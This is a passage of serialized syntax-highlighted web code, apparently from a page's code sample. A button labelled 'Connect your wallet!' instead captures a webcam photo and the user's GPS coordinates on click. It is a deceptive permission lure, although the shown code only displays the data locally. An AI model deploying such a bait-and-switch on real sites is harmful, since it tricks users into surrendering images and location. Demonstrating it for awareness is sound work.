:)",{"type":23,"tag":141,"props":155604,"children":155605},{"style":30844},[155606],{"type":29,"value":30898},{"type":23,"tag":141,"props":155608,"children":155609},{"style":449},[155610],{"type":29,"value":24},{"type":23,"tag":141,"props":155612,"children":155613},{"style":30844},[155614],{"type":29,"value":4666},{"type":23,"tag":141,"props":155616,"children":155617},{"class":143,"line":293},[155618,155622,155627,155631,155635,155640,155644,155649,155653,155657],{"type":23,"tag":141,"props":155619,"children":155620},{"style":30844},[155621],{"type":29,"value":30914},{"type":23,"tag":141,"props":155623,"children":155624},{"style":449},[155625],{"type":29,"value":155626},"button",{"type":23,"tag":141,"props":155628,"children":155629},{"style":750},[155630],{"type":29,"value":30924},{"type":23,"tag":141,"props":155632,"children":155633},{"style":154},[155634],{"type":29,"value":1377},{"type":23,"tag":141,"props":155636,"children":155637},{"style":828},[155638],{"type":29,"value":155639},"\"connect\"",{"type":23,"tag":141,"props":155641,"children":155642},{"style":30844},[155643],{"type":29,"value":9142},{"type":23,"tag":141,"props":155645,"children":155646},{"style":154},[155647],{"type":29,"value":155648},"Connect your wallet!",{"type":23,"tag":141,"props":155650,"children":155651},{"style":30844},[155652],{"type":29,"value":30898},{"type":23,"tag":141,"props":155654,"children":155655},{"style":449},[155656],{"type":29,"value":155626},{"type":23,"tag":141,"props":155658,"children":155659},{"style":30844},[155660],{"type":29,"value":4666},{"type":23,"tag":141,"props":155662,"children":155663},{"class":143,"line":801},[155664,155668,155672,155676,155680,155685,155689,155693],{"type":23,"tag":141,"props":155665,"children":155666},{"style":30844},[155667],{"type":29,"value":30914},{"type":23,"tag":141,"props":155669,"children":155670},{"style":449},[155671],{"type":29,"value":131},{"type":23,"tag":141,"props":155673,"children":155674},{"style":750},[155675],{"type":29,"value":30924},{"type":23,"tag":141,"props":155677,"children":155678},{"style":154},[155679],{"type":29,"value":1377},{"type":23,"tag":141,"props":155681,"children":155682},{"style":828},[155683],{"type":29,"value":155684},"\"gps\"",{"type":23,"tag":141,"props":155686,"children":155687},{"style":30844},[155688],{"type":29,"value":48544},{"type":23,"tag":141,"props":155690,"children":155691},{"style":449},[155692],{"type":29,"value":131},{"type":23,"tag":141,"props":155694,"children":155695},{"style":30844},[155696],{"type":29,"value":4666},{"type":23,"tag":141,"props":155698,"children":155699},{"class":143,"line":810},[155700,155704,155708,155712,155716,155721],{"type":23,"tag":141,"props":155701,"children":155702},{"style":30844},[155703],{"type":29,"value":30914},{"type":23,"tag":141,"props":155705,"children":155706},{"style":449},[155707],{"type":29,"value":2591},{"type":23,"tag":141,"props":155709,"children":155710},{"style":750},[155711],{"type":29,"value":30924},{"type":23,"tag":141,"props":155713,"children":155714},{"style":154},[155715],{"type":29,"value":1377},{"type":23,"tag":141,"props":155717,"children":155718},{"style":828},[155719],{"type":29,"value":155720},"\"pic\"",{"type":23,"tag":141,"props":155722,"children":155723},{"style":30844},[155724],{"type":29,"value":4666},{"type":23,"tag":141,"props":155726,"children":155727},{"class":143,"line":824},[155728,155732,155736],{"type":23,"tag":141,"props":155729,"children":155730},{"style":30844},[155731],{"type":29,"value":30914},{"type":23,"tag":141,"props":155733,"children":155734},{"style":449},[155735],{"type":29,"value":30884},{"type":23,"tag":141,"props":155737,"children":155738},{"style":30844},[155739],{"type":29,"value":4666},{"type":23,"tag":141,"props":155741,"children":155742},{"class":143,"line":839},[155743,155748,155752,155757,155761,155766,155770,155774,155778,155782],{"type":23,"tag":141,"props":155744,"children":155745},{"style":750},[155746],{"type":29,"value":155747}," window",{"type":23,"tag":141,"props":155749,"children":155750},{"style":160},[155751],{"type":29,"value":322},{"type":23,"tag":141,"props":155753,"children":155754},{"style":184},[155755],{"type":29,"value":155756},"addEventListener",{"type":23,"tag":141,"props":155758,"children":155759},{"style":160},[155760],{"type":29,"value":192},{"type":23,"tag":141,"props":155762,"children":155763},{"style":828},[155764],{"type":29,"value":155765},"'unhandledrejection'",{"type":23,"tag":141,"props":155767,"children":155768},{"style":160},[155769],{"type":29,"value":480},{"type":23,"tag":141,"props":155771,"children":155772},{"style":449},[155773],{"type":29,"value":29845},{"type":23,"tag":141,"props":155775,"children":155776},{"style":160},[155777],{"type":29,"value":1220},{"type":23,"tag":141,"props":155779,"children":155780},{"style":750},[155781],{"type":29,"value":80613},{"type":23,"tag":141,"props":155783,"children":155784},{"style":160},[155785],{"type":29,"value":13480},{"type":23,"tag":141,"props":155787,"children":155788},{"class":143,"line":848},[155789,155794,155798,155803,155807,155811,155815,155820,155824,155828],{"type":23,"tag":141,"props":155790,"children":155791},{"style":184},[155792],{"type":29,"value":155793}," alert",{"type":23,"tag":141,"props":155795,"children":155796},{"style":160},[155797],{"type":29,"value":192},{"type":23,"tag":141,"props":155799,"children":155800},{"style":828},[155801],{"type":29,"value":155802},"`Unhandled Promise Rejection: ",{"type":23,"tag":141,"props":155804,"children":155805},{"style":449},[155806],{"type":29,"value":32578},{"type":23,"tag":141,"props":155808,"children":155809},{"style":750},[155810],{"type":29,"value":80613},{"type":23,"tag":141,"props":155812,"children":155813},{"style":160},[155814],{"type":29,"value":322},{"type":23,"tag":141,"props":155816,"children":155817},{"style":750},[155818],{"type":29,"value":155819},"reason",{"type":23,"tag":141,"props":155821,"children":155822},{"style":449},[155823],{"type":29,"value":32610},{"type":23,"tag":141,"props":155825,"children":155826},{"style":828},[155827],{"type":29,"value":9062},{"type":23,"tag":141,"props":155829,"children":155830},{"style":160},[155831],{"type":29,"value":2496},{"type":23,"tag":141,"props":155833,"children":155834},{"class":143,"line":2304},[155835],{"type":23,"tag":141,"props":155836,"children":155837},{"style":160},[155838],{"type":29,"value":155839}," });\n",{"type":23,"tag":141,"props":155841,"children":155842},{"class":143,"line":2313},[155843,155847,155851,155855,155859,155863,155867,155871,155875,155879,155883,155887,155891,155896,155900,155904],{"type":23,"tag":141,"props":155844,"children":155845},{"style":750},[155846],{"type":29,"value":155747},{"type":23,"tag":141,"props":155848,"children":155849},{"style":160},[155850],{"type":29,"value":322},{"type":23,"tag":141,"props":155852,"children":155853},{"style":184},[155854],{"type":29,"value":31157},{"type":23,"tag":141,"props":155856,"children":155857},{"style":160},[155858],{"type":29,"value":31380},{"type":23,"tag":141,"props":155860,"children":155861},{"style":449},[155862],{"type":29,"value":29845},{"type":23,"tag":141,"props":155864,"children":155865},{"style":160},[155866],{"type":29,"value":1220},{"type":23,"tag":141,"props":155868,"children":155869},{"style":750},[155870],{"type":29,"value":56426},{"type":23,"tag":141,"props":155872,"children":155873},{"style":160},[155874],{"type":29,"value":480},{"type":23,"tag":141,"props":155876,"children":155877},{"style":750},[155878],{"type":29,"value":68860},{"type":23,"tag":141,"props":155880,"children":155881},{"style":160},[155882],{"type":29,"value":480},{"type":23,"tag":141,"props":155884,"children":155885},{"style":750},[155886],{"type":29,"value":143},{"type":23,"tag":141,"props":155888,"children":155889},{"style":160},[155890],{"type":29,"value":480},{"type":23,"tag":141,"props":155892,"children":155893},{"style":750},[155894],{"type":29,"value":155895},"col",{"type":23,"tag":141,"props":155897,"children":155898},{"style":160},[155899],{"type":29,"value":480},{"type":23,"tag":141,"props":155901,"children":155902},{"style":750},[155903],{"type":29,"value":13540},{"type":23,"tag":141,"props":155905,"children":155906},{"style":160},[155907],{"type":29,"value":13480},{"type":23,"tag":141,"props":155909,"children":155910},{"class":143,"line":2335},[155911,155915,155919,155924,155928,155932],{"type":23,"tag":141,"props":155912,"children":155913},{"style":184},[155914],{"type":29,"value":155793},{"type":23,"tag":141,"props":155916,"children":155917},{"style":160},[155918],{"type":29,"value":192},{"type":23,"tag":141,"props":155920,"children":155921},{"style":828},[155922],{"type":29,"value":155923},"'onerror: '",{"type":23,"tag":141,"props":155925,"children":155926},{"style":160},[155927],{"type":29,"value":33166},{"type":23,"tag":141,"props":155929,"children":155930},{"style":750},[155931],{"type":29,"value":56426},{"type":23,"tag":141,"props":155933,"children":155934},{"style":160},[155935],{"type":29,"value":2496},{"type":23,"tag":141,"props":155937,"children":155938},{"class":143,"line":2343},[155939,155943,155947],{"type":23,"tag":141,"props":155940,"children":155941},{"style":148},[155942],{"type":29,"value":77561},{"type":23,"tag":141,"props":155944,"children":155945},{"style":449},[155946],{"type":29,"value":7735},{"type":23,"tag":141,"props":155948,"children":155949},{"style":160},[155950],{"type":29,"value":1684},{"type":23,"tag":141,"props":155952,"children":155953},{"class":143,"line":2352},[155954],{"type":23,"tag":141,"props":155955,"children":155956},{"style":160},[155957],{"type":29,"value":155958}," };\n",{"type":23,"tag":141,"props":155960,"children":155961},{"class":143,"line":2421},[155962],{"type":23,"tag":141,"props":155963,"children":155964},{"emptyLinePlaceholder":15},[155965],{"type":29,"value":719},{"type":23,"tag":141,"props":155967,"children":155968},{"class":143,"line":2429},[155969,155974,155978,155982],{"type":23,"tag":141,"props":155970,"children":155971},{"style":449},[155972],{"type":29,"value":155973}," async",{"type":23,"tag":141,"props":155975,"children":155976},{"style":449},[155977],{"type":29,"value":36685},{"type":23,"tag":141,"props":155979,"children":155980},{"style":184},[155981],{"type":29,"value":89265},{"type":23,"tag":141,"props":155983,"children":155984},{"style":160},[155985],{"type":29,"value":14412},{"type":23,"tag":141,"props":155987,"children":155988},{"class":143,"line":2459},[155989,155993,155998,156002,156006,156011,156015,156020,156024,156029,156033,156038,156042],{"type":23,"tag":141,"props":155990,"children":155991},{"style":449},[155992],{"type":29,"value":149519},{"type":23,"tag":141,"props":155994,"children":155995},{"style":750},[155996],{"type":29,"value":155997}," stream",{"type":23,"tag":141,"props":155999,"children":156000},{"style":160},[156001],{"type":29,"value":31380},{"type":23,"tag":141,"props":156003,"children":156004},{"style":148},[156005],{"type":29,"value":31385},{"type":23,"tag":141,"props":156007,"children":156008},{"style":750},[156009],{"type":29,"value":156010}," navigator",{"type":23,"tag":141,"props":156012,"children":156013},{"style":160},[156014],{"type":29,"value":322},{"type":23,"tag":141,"props":156016,"children":156017},{"style":750},[156018],{"type":29,"value":156019},"mediaDevices",{"type":23,"tag":141,"props":156021,"children":156022},{"style":160},[156023],{"type":29,"value":322},{"type":23,"tag":141,"props":156025,"children":156026},{"style":184},[156027],{"type":29,"value":156028},"getUserMedia",{"type":23,"tag":141,"props":156030,"children":156031},{"style":160},[156032],{"type":29,"value":29966},{"type":23,"tag":141,"props":156034,"children":156035},{"style":750},[156036],{"type":29,"value":156037},"video:",{"type":23,"tag":141,"props":156039,"children":156040},{"style":449},[156041],{"type":29,"value":11148},{"type":23,"tag":141,"props":156043,"children":156044},{"style":160},[156045],{"type":29,"value":37306},{"type":23,"tag":141,"props":156047,"children":156048},{"class":143,"line":2467},[156049,156053,156058,156062,156066,156070,156074,156078,156083],{"type":23,"tag":141,"props":156050,"children":156051},{"style":449},[156052],{"type":29,"value":149519},{"type":23,"tag":141,"props":156054,"children":156055},{"style":750},[156056],{"type":29,"value":156057}," video",{"type":23,"tag":141,"props":156059,"children":156060},{"style":160},[156061],{"type":29,"value":31380},{"type":23,"tag":141,"props":156063,"children":156064},{"style":750},[156065],{"type":29,"value":31176},{"type":23,"tag":141,"props":156067,"children":156068},{"style":160},[156069],{"type":29,"value":322},{"type":23,"tag":141,"props":156071,"children":156072},{"style":184},[156073],{"type":29,"value":35192},{"type":23,"tag":141,"props":156075,"children":156076},{"style":160},[156077],{"type":29,"value":192},{"type":23,"tag":141,"props":156079,"children":156080},{"style":828},[156081],{"type":29,"value":156082},"\"video\"",{"type":23,"tag":141,"props":156084,"children":156085},{"style":160},[156086],{"type":29,"value":2496},{"type":23,"tag":141,"props":156088,"children":156089},{"class":143,"line":2499},[156090,156095,156099,156104,156108,156112],{"type":23,"tag":141,"props":156091,"children":156092},{"style":750},[156093],{"type":29,"value":156094}," video",{"type":23,"tag":141,"props":156096,"children":156097},{"style":160},[156098],{"type":29,"value":322},{"type":23,"tag":141,"props":156100,"children":156101},{"style":750},[156102],{"type":29,"value":156103},"srcObject",{"type":23,"tag":141,"props":156105,"children":156106},{"style":160},[156107],{"type":29,"value":31380},{"type":23,"tag":141,"props":156109,"children":156110},{"style":750},[156111],{"type":29,"value":34732},{"type":23,"tag":141,"props":156113,"children":156114},{"style":160},[156115],{"type":29,"value":1684},{"type":23,"tag":141,"props":156117,"children":156118},{"class":143,"line":2507},[156119,156123,156128,156132,156136,156140,156144,156148,156153],{"type":23,"tag":141,"props":156120,"children":156121},{"style":449},[156122],{"type":29,"value":149519},{"type":23,"tag":141,"props":156124,"children":156125},{"style":750},[156126],{"type":29,"value":156127}," canvas",{"type":23,"tag":141,"props":156129,"children":156130},{"style":160},[156131],{"type":29,"value":31380},{"type":23,"tag":141,"props":156133,"children":156134},{"style":750},[156135],{"type":29,"value":31176},{"type":23,"tag":141,"props":156137,"children":156138},{"style":160},[156139],{"type":29,"value":322},{"type":23,"tag":141,"props":156141,"children":156142},{"style":184},[156143],{"type":29,"value":35192},{"type":23,"tag":141,"props":156145,"children":156146},{"style":160},[156147],{"type":29,"value":192},{"type":23,"tag":141,"props":156149,"children":156150},{"style":828},[156151],{"type":29,"value":156152},"\"canvas\"",{"type":23,"tag":141,"props":156154,"children":156155},{"style":160},[156156],{"type":29,"value":2496},{"type":23,"tag":141,"props":156158,"children":156159},{"class":143,"line":2567},[156160],{"type":23,"tag":141,"props":156161,"children":156162},{"emptyLinePlaceholder":15},[156163],{"type":29,"value":719},{"type":23,"tag":141,"props":156165,"children":156166},{"class":143,"line":7724},[156167,156171,156175,156180,156185,156189],{"type":23,"tag":141,"props":156168,"children":156169},{"style":750},[156170],{"type":29,"value":156094},{"type":23,"tag":141,"props":156172,"children":156173},{"style":160},[156174],{"type":29,"value":322},{"type":23,"tag":141,"props":156176,"children":156177},{"style":184},[156178],{"type":29,"value":156179},"onloadedmetadata",{"type":23,"tag":141,"props":156181,"children":156182},{"style":160},[156183],{"type":29,"value":156184}," = () ",{"type":23,"tag":141,"props":156186,"children":156187},{"style":449},[156188],{"type":29,"value":13498},{"type":23,"tag":141,"props":156190,"children":156191},{"style":160},[156192],{"type":29,"value":1951},{"type":23,"tag":141,"props":156194,"children":156195},{"class":143,"line":7742},[156196,156201,156205,156210,156214,156218,156222,156227],{"type":23,"tag":141,"props":156197,"children":156198},{"style":750},[156199],{"type":29,"value":156200}," canvas",{"type":23,"tag":141,"props":156202,"children":156203},{"style":160},[156204],{"type":29,"value":322},{"type":23,"tag":141,"props":156206,"children":156207},{"style":750},[156208],{"type":29,"value":156209},"width",{"type":23,"tag":141,"props":156211,"children":156212},{"style":160},[156213],{"type":29,"value":31380},{"type":23,"tag":141,"props":156215,"children":156216},{"style":750},[156217],{"type":29,"value":130343},{"type":23,"tag":141,"props":156219,"children":156220},{"style":160},[156221],{"type":29,"value":322},{"type":23,"tag":141,"props":156223,"children":156224},{"style":750},[156225],{"type":29,"value":156226},"videoWidth",{"type":23,"tag":141,"props":156228,"children":156229},{"style":160},[156230],{"type":29,"value":1684},{"type":23,"tag":141,"props":156232,"children":156233},{"class":143,"line":7787},[156234,156238,156242,156247,156251,156255,156259,156264],{"type":23,"tag":141,"props":156235,"children":156236},{"style":750},[156237],{"type":29,"value":156200},{"type":23,"tag":141,"props":156239,"children":156240},{"style":160},[156241],{"type":29,"value":322},{"type":23,"tag":141,"props":156243,"children":156244},{"style":750},[156245],{"type":29,"value":156246},"height",{"type":23,"tag":141,"props":156248,"children":156249},{"style":160},[156250],{"type":29,"value":31380},{"type":23,"tag":141,"props":156252,"children":156253},{"style":750},[156254],{"type":29,"value":130343},{"type":23,"tag":141,"props":156256,"children":156257},{"style":160},[156258],{"type":29,"value":322},{"type":23,"tag":141,"props":156260,"children":156261},{"style":750},[156262],{"type":29,"value":156263},"videoHeight",{"type":23,"tag":141,"props":156265,"children":156266},{"style":160},[156267],{"type":29,"value":1684},{"type":23,"tag":141,"props":156269,"children":156270},{"class":143,"line":7893},[156271],{"type":23,"tag":141,"props":156272,"children":156273},{"style":160},[156274],{"type":29,"value":46552},{"type":23,"tag":141,"props":156276,"children":156277},{"class":143,"line":22181},[156278],{"type":23,"tag":141,"props":156279,"children":156280},{"emptyLinePlaceholder":15},[156281],{"type":29,"value":719},{"type":23,"tag":141,"props":156283,"children":156284},{"class":143,"line":22216},[156285,156290,156294,156299,156303,156307,156311],{"type":23,"tag":141,"props":156286,"children":156287},{"style":750},[156288],{"type":29,"value":156289}," connect",{"type":23,"tag":141,"props":156291,"children":156292},{"style":160},[156293],{"type":29,"value":322},{"type":23,"tag":141,"props":156295,"children":156296},{"style":184},[156297],{"type":29,"value":156298},"onclick",{"type":23,"tag":141,"props":156300,"children":156301},{"style":160},[156302],{"type":29,"value":31380},{"type":23,"tag":141,"props":156304,"children":156305},{"style":750},[156306],{"type":29,"value":49933},{"type":23,"tag":141,"props":156308,"children":156309},{"style":449},[156310],{"type":29,"value":26437},{"type":23,"tag":141,"props":156312,"children":156313},{"style":160},[156314],{"type":29,"value":1951},{"type":23,"tag":141,"props":156316,"children":156317},{"class":143,"line":22224},[156318,156323,156327,156332],{"type":23,"tag":141,"props":156319,"children":156320},{"style":750},[156321],{"type":29,"value":156322}," video",{"type":23,"tag":141,"props":156324,"children":156325},{"style":160},[156326],{"type":29,"value":322},{"type":23,"tag":141,"props":156328,"children":156329},{"style":184},[156330],{"type":29,"value":156331},"play",{"type":23,"tag":141,"props":156333,"children":156334},{"style":160},[156335],{"type":29,"value":1305},{"type":23,"tag":141,"props":156337,"children":156338},{"class":143,"line":22232},[156339],{"type":23,"tag":141,"props":156340,"children":156341},{"emptyLinePlaceholder":15},[156342],{"type":29,"value":719},{"type":23,"tag":141,"props":156344,"children":156345},{"class":143,"line":22241},[156346,156350,156354,156359,156363,156368,156372,156377,156381,156385,156389,156393,156397,156401],{"type":23,"tag":141,"props":156347,"children":156348},{"style":750},[156349],{"type":29,"value":156200},{"type":23,"tag":141,"props":156351,"children":156352},{"style":160},[156353],{"type":29,"value":322},{"type":23,"tag":141,"props":156355,"children":156356},{"style":184},[156357],{"type":29,"value":156358},"getContext",{"type":23,"tag":141,"props":156360,"children":156361},{"style":160},[156362],{"type":29,"value":192},{"type":23,"tag":141,"props":156364,"children":156365},{"style":828},[156366],{"type":29,"value":156367},"\"2d\"",{"type":23,"tag":141,"props":156369,"children":156370},{"style":160},[156371],{"type":29,"value":19414},{"type":23,"tag":141,"props":156373,"children":156374},{"style":184},[156375],{"type":29,"value":156376},"drawImage",{"type":23,"tag":141,"props":156378,"children":156379},{"style":160},[156380],{"type":29,"value":192},{"type":23,"tag":141,"props":156382,"children":156383},{"style":750},[156384],{"type":29,"value":130343},{"type":23,"tag":141,"props":156386,"children":156387},{"style":160},[156388],{"type":29,"value":480},{"type":23,"tag":141,"props":156390,"children":156391},{"style":472},[156392],{"type":29,"value":2698},{"type":23,"tag":141,"props":156394,"children":156395},{"style":160},[156396],{"type":29,"value":480},{"type":23,"tag":141,"props":156398,"children":156399},{"style":472},[156400],{"type":29,"value":2698},{"type":23,"tag":141,"props":156402,"children":156403},{"style":160},[156404],{"type":29,"value":2496},{"type":23,"tag":141,"props":156406,"children":156407},{"class":143,"line":22283},[156408,156413,156417,156422,156426,156431,156435,156439,156443,156448,156452,156457],{"type":23,"tag":141,"props":156409,"children":156410},{"style":750},[156411],{"type":29,"value":156412}," stream",{"type":23,"tag":141,"props":156414,"children":156415},{"style":160},[156416],{"type":29,"value":322},{"type":23,"tag":141,"props":156418,"children":156419},{"style":184},[156420],{"type":29,"value":156421},"getTracks",{"type":23,"tag":141,"props":156423,"children":156424},{"style":160},[156425],{"type":29,"value":1243},{"type":23,"tag":141,"props":156427,"children":156428},{"style":184},[156429],{"type":29,"value":156430},"forEach",{"type":23,"tag":141,"props":156432,"children":156433},{"style":160},[156434],{"type":29,"value":192},{"type":23,"tag":141,"props":156436,"children":156437},{"style":750},[156438],{"type":29,"value":20402},{"type":23,"tag":141,"props":156440,"children":156441},{"style":449},[156442],{"type":29,"value":26437},{"type":23,"tag":141,"props":156444,"children":156445},{"style":750},[156446],{"type":29,"value":156447}," t",{"type":23,"tag":141,"props":156449,"children":156450},{"style":160},[156451],{"type":29,"value":322},{"type":23,"tag":141,"props":156453,"children":156454},{"style":184},[156455],{"type":29,"value":156456},"stop",{"type":23,"tag":141,"props":156458,"children":156459},{"style":160},[156460],{"type":29,"value":14102},{"type":23,"tag":141,"props":156462,"children":156463},{"class":143,"line":22316},[156464,156468,156472,156477,156481,156485,156489,156493],{"type":23,"tag":141,"props":156465,"children":156466},{"style":750},[156467],{"type":29,"value":156200},{"type":23,"tag":141,"props":156469,"children":156470},{"style":160},[156471],{"type":29,"value":322},{"type":23,"tag":141,"props":156473,"children":156474},{"style":184},[156475],{"type":29,"value":156476},"toBlob",{"type":23,"tag":141,"props":156478,"children":156479},{"style":160},[156480],{"type":29,"value":29991},{"type":23,"tag":141,"props":156482,"children":156483},{"style":750},[156484],{"type":29,"value":31417},{"type":23,"tag":141,"props":156486,"children":156487},{"style":160},[156488],{"type":29,"value":1748},{"type":23,"tag":141,"props":156490,"children":156491},{"style":449},[156492],{"type":29,"value":13498},{"type":23,"tag":141,"props":156494,"children":156495},{"style":160},[156496],{"type":29,"value":1951},{"type":23,"tag":141,"props":156498,"children":156499},{"class":143,"line":22324},[156500,156505,156509,156513,156517,156522,156526,156531,156535,156539],{"type":23,"tag":141,"props":156501,"children":156502},{"style":750},[156503],{"type":29,"value":156504}," pic",{"type":23,"tag":141,"props":156506,"children":156507},{"style":160},[156508],{"type":29,"value":322},{"type":23,"tag":141,"props":156510,"children":156511},{"style":750},[156512],{"type":29,"value":31138},{"type":23,"tag":141,"props":156514,"children":156515},{"style":160},[156516],{"type":29,"value":31380},{"type":23,"tag":141,"props":156518,"children":156519},{"style":750},[156520],{"type":29,"value":156521},"URL",{"type":23,"tag":141,"props":156523,"children":156524},{"style":160},[156525],{"type":29,"value":322},{"type":23,"tag":141,"props":156527,"children":156528},{"style":184},[156529],{"type":29,"value":156530},"createObjectURL",{"type":23,"tag":141,"props":156532,"children":156533},{"style":160},[156534],{"type":29,"value":192},{"type":23,"tag":141,"props":156536,"children":156537},{"style":750},[156538],{"type":29,"value":31417},{"type":23,"tag":141,"props":156540,"children":156541},{"style":160},[156542],{"type":29,"value":2496},{"type":23,"tag":141,"props":156544,"children":156545},{"class":143,"line":22332},[156546],{"type":23,"tag":141,"props":156547,"children":156548},{"style":160},[156549],{"type":29,"value":156550}," });\n",{"type":23,"tag":141,"props":156552,"children":156553},{"class":143,"line":22341},[156554],{"type":23,"tag":141,"props":156555,"children":156556},{"emptyLinePlaceholder":15},[156557],{"type":29,"value":719},{"type":23,"tag":141,"props":156559,"children":156560},{"class":143,"line":22417},[156561,156566,156570,156575,156579,156584,156588,156593,156597],{"type":23,"tag":141,"props":156562,"children":156563},{"style":750},[156564],{"type":29,"value":156565}," navigator",{"type":23,"tag":141,"props":156567,"children":156568},{"style":160},[156569],{"type":29,"value":322},{"type":23,"tag":141,"props":156571,"children":156572},{"style":750},[156573],{"type":29,"value":156574},"geolocation",{"type":23,"tag":141,"props":156576,"children":156577},{"style":160},[156578],{"type":29,"value":322},{"type":23,"tag":141,"props":156580,"children":156581},{"style":184},[156582],{"type":29,"value":156583},"getCurrentPosition",{"type":23,"tag":141,"props":156585,"children":156586},{"style":160},[156587],{"type":29,"value":192},{"type":23,"tag":141,"props":156589,"children":156590},{"style":750},[156591],{"type":29,"value":156592},"pos",{"type":23,"tag":141,"props":156594,"children":156595},{"style":449},[156596],{"type":29,"value":26437},{"type":23,"tag":141,"props":156598,"children":156599},{"style":160},[156600],{"type":29,"value":1951},{"type":23,"tag":141,"props":156602,"children":156603},{"class":143,"line":22450},[156604,156609,156613,156617,156621,156625,156630],{"type":23,"tag":141,"props":156605,"children":156606},{"style":449},[156607],{"type":29,"value":156608}," const",{"type":23,"tag":141,"props":156610,"children":156611},{"style":750},[156612],{"type":29,"value":35916},{"type":23,"tag":141,"props":156614,"children":156615},{"style":160},[156616],{"type":29,"value":31380},{"type":23,"tag":141,"props":156618,"children":156619},{"style":750},[156620],{"type":29,"value":156592},{"type":23,"tag":141,"props":156622,"children":156623},{"style":160},[156624],{"type":29,"value":322},{"type":23,"tag":141,"props":156626,"children":156627},{"style":750},[156628],{"type":29,"value":156629},"coords",{"type":23,"tag":141,"props":156631,"children":156632},{"style":160},[156633],{"type":29,"value":1684},{"type":23,"tag":141,"props":156635,"children":156636},{"class":143,"line":22458},[156637,156642,156646,156650,156654,156659,156663,156667,156671,156676,156680,156685,156689,156693,156697,156701,156705,156710,156714,156718,156722,156727,156731,156735,156739,156743,156747,156751,156755],{"type":23,"tag":141,"props":156638,"children":156639},{"style":750},[156640],{"type":29,"value":156641}," gps",{"type":23,"tag":141,"props":156643,"children":156644},{"style":160},[156645],{"type":29,"value":322},{"type":23,"tag":141,"props":156647,"children":156648},{"style":750},[156649],{"type":29,"value":33434},{"type":23,"tag":141,"props":156651,"children":156652},{"style":160},[156653],{"type":29,"value":31380},{"type":23,"tag":141,"props":156655,"children":156656},{"style":828},[156657],{"type":29,"value":156658},"`Lat: ",{"type":23,"tag":141,"props":156660,"children":156661},{"style":449},[156662],{"type":29,"value":32578},{"type":23,"tag":141,"props":156664,"children":156665},{"style":750},[156666],{"type":29,"value":1807},{"type":23,"tag":141,"props":156668,"children":156669},{"style":160},[156670],{"type":29,"value":322},{"type":23,"tag":141,"props":156672,"children":156673},{"style":750},[156674],{"type":29,"value":156675},"latitude",{"type":23,"tag":141,"props":156677,"children":156678},{"style":160},[156679],{"type":29,"value":322},{"type":23,"tag":141,"props":156681,"children":156682},{"style":184},[156683],{"type":29,"value":156684},"toFixed",{"type":23,"tag":141,"props":156686,"children":156687},{"style":160},[156688],{"type":29,"value":192},{"type":23,"tag":141,"props":156690,"children":156691},{"style":472},[156692],{"type":29,"value":687},{"type":23,"tag":141,"props":156694,"children":156695},{"style":160},[156696],{"type":29,"value":1788},{"type":23,"tag":141,"props":156698,"children":156699},{"style":449},[156700],{"type":29,"value":32610},{"type":23,"tag":141,"props":156702,"children":156703},{"style":46851},[156704],{"type":29,"value":46854},{"type":23,"tag":141,"props":156706,"children":156707},{"style":828},[156708],{"type":29,"value":156709},"Lon: ",{"type":23,"tag":141,"props":156711,"children":156712},{"style":449},[156713],{"type":29,"value":32578},{"type":23,"tag":141,"props":156715,"children":156716},{"style":750},[156717],{"type":29,"value":1807},{"type":23,"tag":141,"props":156719,"children":156720},{"style":160},[156721],{"type":29,"value":322},{"type":23,"tag":141,"props":156723,"children":156724},{"style":750},[156725],{"type":29,"value":156726},"longitude",{"type":23,"tag":141,"props":156728,"children":156729},{"style":160},[156730],{"type":29,"value":322},{"type":23,"tag":141,"props":156732,"children":156733},{"style":184},[156734],{"type":29,"value":156684},{"type":23,"tag":141,"props":156736,"children":156737},{"style":160},[156738],{"type":29,"value":192},{"type":23,"tag":141,"props":156740,"children":156741},{"style":472},[156742],{"type":29,"value":687},{"type":23,"tag":141,"props":156744,"children":156745},{"style":160},[156746],{"type":29,"value":1788},{"type":23,"tag":141,"props":156748,"children":156749},{"style":449},[156750],{"type":29,"value":32610},{"type":23,"tag":141,"props":156752,"children":156753},{"style":828},[156754],{"type":29,"value":9062},{"type":23,"tag":141,"props":156756,"children":156757},{"style":160},[156758],{"type":29,"value":1684},{"type":23,"tag":141,"props":156760,"children":156761},{"class":143,"line":22466},[156762,156767,156771,156775,156780,156784,156788],{"type":23,"tag":141,"props":156763,"children":156764},{"style":160},[156765],{"type":29,"value":156766}," }, ",{"type":23,"tag":141,"props":156768,"children":156769},{"style":750},[156770],{"type":29,"value":46898},{"type":23,"tag":141,"props":156772,"children":156773},{"style":449},[156774],{"type":29,"value":26437},{"type":23,"tag":141,"props":156776,"children":156777},{"style":184},[156778],{"type":29,"value":156779}," alert",{"type":23,"tag":141,"props":156781,"children":156782},{"style":160},[156783],{"type":29,"value":192},{"type":23,"tag":141,"props":156785,"children":156786},{"style":750},[156787],{"type":29,"value":46898},{"type":23,"tag":141,"props":156789,"children":156790},{"style":160},[156791],{"type":29,"value":5897},{"type":23,"tag":141,"props":156793,"children":156794},{"class":143,"line":22503},[156795],{"type":23,"tag":141,"props":156796,"children":156797},{"style":160},[156798],{"type":29,"value":46552},{"type":23,"tag":141,"props":156800,"children":156801},{"class":143,"line":22516},[156802],{"type":23,"tag":141,"props":156803,"children":156804},{"emptyLinePlaceholder":15},[156805],{"type":29,"value":719},{"type":23,"tag":141,"props":156807,"children":156808},{"class":143,"line":22529},[156809],{"type":23,"tag":141,"props":156810,"children":156811},{"style":160},[156812],{"type":29,"value":2008},{"type":23,"tag":141,"props":156814,"children":156815},{"class":143,"line":22542},[156816,156821],{"type":23,"tag":141,"props":156817,"children":156818},{"style":184},[156819],{"type":29,"value":156820}," main",{"type":23,"tag":141,"props":156822,"children":156823},{"style":160},[156824],{"type":29,"value":1305},{"type":23,"tag":141,"props":156826,"children":156827},{"class":143,"line":22596},[156828,156832,156836],{"type":23,"tag":141,"props":156829,"children":156830},{"style":30844},[156831],{"type":29,"value":31297},{"type":23,"tag":141,"props":156833,"children":156834},{"style":449},[156835],{"type":29,"value":30884},{"type":23,"tag":141,"props":156837,"children":156838},{"style":30844},[156839],{"type":29,"value":4666},{"type":23,"tag":141,"props":156841,"children":156842},{"class":143,"line":22605},[156843,156847,156851],{"type":23,"tag":141,"props":156844,"children":156845},{"style":30844},[156846],{"type":29,"value":30898},{"type":23,"tag":141,"props":156848,"children":156849},{"style":449},[156850],{"type":29,"value":30868},{"type":23,"tag":141,"props":156852,"children":156853},{"style":30844},[156854],{"type":29,"value":4666},{"type":23,"tag":141,"props":156856,"children":156857},{"class":143,"line":30749},[156858,156862,156866],{"type":23,"tag":141,"props":156859,"children":156860},{"style":30844},[156861],{"type"